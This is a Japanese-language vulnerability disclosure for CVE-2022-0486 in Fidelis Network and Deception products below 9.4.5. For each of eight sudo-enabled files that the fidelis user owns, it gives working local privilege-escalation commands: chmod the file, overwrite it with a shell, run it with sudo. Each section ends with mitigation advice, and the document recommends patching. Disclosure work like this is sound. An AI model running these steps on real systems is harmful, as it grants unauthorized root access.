Fidelis Network and Deception - CVE-2022-0486 - 安全でないファイル権限による権限昇格 - 複数

公開の可否と謝辞

すべてのエクスプロイトは、アメリカ合衆国政府によって公開リリースが承認されました。無制限配布のためにドキュメントの承認を担当した軍人および政府連絡担当者に特に感謝します。以下のOTR番号を参照してください：

• OTR-2022-00482
• OTR-2022-00483
• OTR-2022-00484
• OTR-2022-00485
• OTR-2022-00486
• OTR-2022-00488
• OTR-2022-00489
• OTR-2022-00490

メタデータ

日付: 20220517 2005H UTC

エクスプロイト作成者: Henry Reed, The Aerospace Corporation

ベンダーホームページ: https://fidelissecurity.com/

影響を受けるバージョン:

• Fidelis CommandPost 9.4.5 未満
• Fidelis Collector 9.4.5 未満
• Fidelis Sensor 9.4.5 未満
• Fidelis Sandbox 9.4.5 未満

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

CVE: CVE-2022-0486

CVE説明: Fidelis Network and Deception の CommandPost、Collector、Sensor、Sandbox コンポーネントにおける不適切なファイル権限により、CLI へのローカル管理アクセス権を持つ攻撃者が影響を受けるファイルを改ざんし、root ユーザーと同等の権限昇格を可能にします。この脆弱性は Fidelis Network and Deception バージョン 9.4.5 未満に存在します。この脆弱性に対処するためのパッチとアップデートが利用可能です。

要点まとめ

このCVEには複数のエクスプロイトが存在します。これは、CVEが一連の不適切なファイル権限をカバーしているためです。すべてのエクスプロイトは、fidelis ユーザーが所有するバイナリやスクリプトに対して、fidelis ユーザーに NOPASSWD およびパスワードが必要な sudoers 権限が付与されていることに起因しており、その結果 fidelis ユーザーがファイルを任意に改ざんできるようになります。これにより、ローカルでの権限昇格が可能になります。

NOPASSWD の影響を受けるファイル:

• /FSS/bin/shutdown.pl

パスワードが必要な影響を受けるファイル:

• /FSS/setup/cert_mgmt
• /FSS/bin/db_updater
• /FSS/deception-manager/bin/deception-manager
• /FSS/sbin/fssdbg.sh
• /FSS/bin/mst
• /FSS/bin/setup
• /FSS/setup/unlock_cp_user.sh

影響を受ける Fidelis Deception または Fidelis Network のユーザーは、この脆弱性を修正するためにソフトウェアを更新することを推奨します。また、この脆弱性の影響を受けたかどうかに関わらず、すべてのユーザーは初期設定後に Fidelis 製品へのシェルアクセスを無効にすることを推奨します。

何らかの理由でこれらのいずれも不可能な場合、各脆弱性ファイルに対する緩和策がこのドキュメントに記載されています。著者のテストの範囲では、ユーザーは記載された緩和策を適用する前に、これらの脆弱性のいずれかを使用して権限を昇格させる必要があると思われるため、代わりに Fidelis の更新と SSH の無効化を強く推奨します。

Shutdown.pl の権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

概要:

/FSS/bin/shutdown.pl の誤設定された所有権権限により、複数の Fidelis 製品において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードプロンプトなしで root ユーザーとして /FSS/bin/shutdown.pl を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはスクリプトを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. shutdown.pl ファイルを変更できるように権限を変更する:

$ chmod 700 /FSS/bin/shutdown.pl

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';

3. sudo コマンドを使用してファイルを実行する

$ sudo /FSS/bin/shutdown.pl

脆弱性の発見とエクスプロイトを示すスクリーンショット。NOPASSWD 行に注目してください。これは shutdown.pl が権限昇格の潜在的な候補であることを示しています:

緩和策:

/FSS/bin/shutdown.pl のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます:

cert_mgmt の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

概要:

/FSS/setup/cert_mgmt の誤設定された所有権権限により、複数の Fidelis 製品において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/setup/cert_mgmt を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはスクリプトを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. cert_mgmt ファイルを変更できるように権限を変更する:

$ chmod u+w /FSS/setup/cert_mgmt

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/setup/cert_mgmt

3. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/setup/cert_mgmt

脆弱性の発見とエクスプロイトを示すスクリーンショット:

緩和策:

/FSS/setup/cert_mgmt のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます:

db_updater の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3

概要:

/FSS/bin/db_updater の誤設定された所有権権限により、Fidelis CommandPost において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/bin/db_updater を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはバイナリを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. db_updater ファイルを変更できるように権限を変更する:

$ chmod u+w /FSS/bin/db_updater

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/bin/db_updater

3. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/bin/db_updater

緩和策:

/FSS/bin/db_updater のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます:

deception-manager の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3

概要:

/FSS/deception-manager/bin/deception-manager の誤設定された所有権権限により、Fidelis CommandPost において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/deception-manager/bin/deception-manager を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはバイナリを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/deception-manager/bin/deception-manager

2. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/deception-manager/bin/deception-manager

脆弱性の発見とエクスプロイトを示すスクリーンショット:

緩和策:

/FSS/deception-manager/bin/deception-manager のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます:

fssdbg.sh の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

概要:

/FSS/sbin/fssdbg.sh の誤設定された所有権権限により、複数の Fidelis 製品において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/sbin/fssdbg.sh を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはスクリプトを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. fssdbg.sh ファイルを変更できるように権限を変更する:

$ chmod u+w /FSS/sbin/fssdbg.sh

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/sbin/fssdbg.sh

3. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/sbin/fssdbg.sh

脆弱性の発見とエクスプロイトを示すスクリーンショット:

緩和策:

/FSS/sbin/fssdbg.sh のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます:

mst の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

概要:

/FSS/bin/mst の誤設定された所有権権限により、複数の Fidelis 製品において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/bin/mst を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはバイナリを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. mst ファイルを変更できるように権限を変更する:

$ chmod u+w /FSS/bin/mst

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/bin/mst

3. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/bin/mst

脆弱性の発見とエクスプロイトを示すスクリーンショット:

緩和策:

/FSS/bin/mst のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます。以下は、権限昇格の緩和策と、fidelis ユーザーが sudo なしで mst コマンドを実行した場合の出力の一部を示すスクリーンショットです:

緩和策を適用しても、fidelis ユーザーが sudo でコマンドを実行できることを示すスクリーンショット:

緩和策を使用した場合、mst が他の任意のコードを実行するように変更できないことを示すスクリーンショット:

setup の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

概要:

/FSS/bin/setup の誤設定された所有権権限により、複数の Fidelis 製品において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/bin/setup を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはバイナリを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. setup ファイルを変更できるように権限を変更する:

$ chmod u+w /FSS/bin/setup

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/bin/setup

3. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/bin/setup

脆弱性の発見とエクスプロイトを示すスクリーンショット:

緩和策:

/FSS/bin/setup のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます:

setup の認証済み権限昇格

テスト環境:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Internal VM) Sensor 9.4.3

概要:

/FSS/setup/unlock_cp_user.sh の誤設定された所有権権限により、複数の Fidelis 製品において fidelis ユーザーが root ユーザーと同等の権限に昇格できるようになります。デフォルトでは、sudoers 設定により fidelis ユーザーはパスワードを入力すれば root ユーザーとして /FSS/setup/unlock_cp_user.sh を実行できます。このファイルは fidelis ユーザーが所有しているため、fidelis ユーザーはスクリプトを任意に改ざんして権限を昇格できます。

エクスプロイト:

1. unlock_cp_user.sh ファイルを変更できるように権限を変更する:

$ chmod u+w /FSS/setup/unlock_cp_user.sh

2. ファイルを必要に応じて変更し、任意のコードを実行するか、この例ではシェルを起動する:

$ cp /bin/bash /FSS/setup/unlock_cp_user.sh

3. sudo コマンドを使用してファイルを実行し、fidelis ユーザーのパスワードで認証する:

$ sudo /FSS/setup/unlock_cp_user.sh

脆弱性の発見とエクスプロイトを示すスクリーンショット:

緩和策:

/FSS/setup/unlock_cp_user.sh のユーザーとグループの所有者を root:fidelis に変更し、グループ所有者に対して読み取りと実行のみを許可することで、この脆弱性を緩和できます: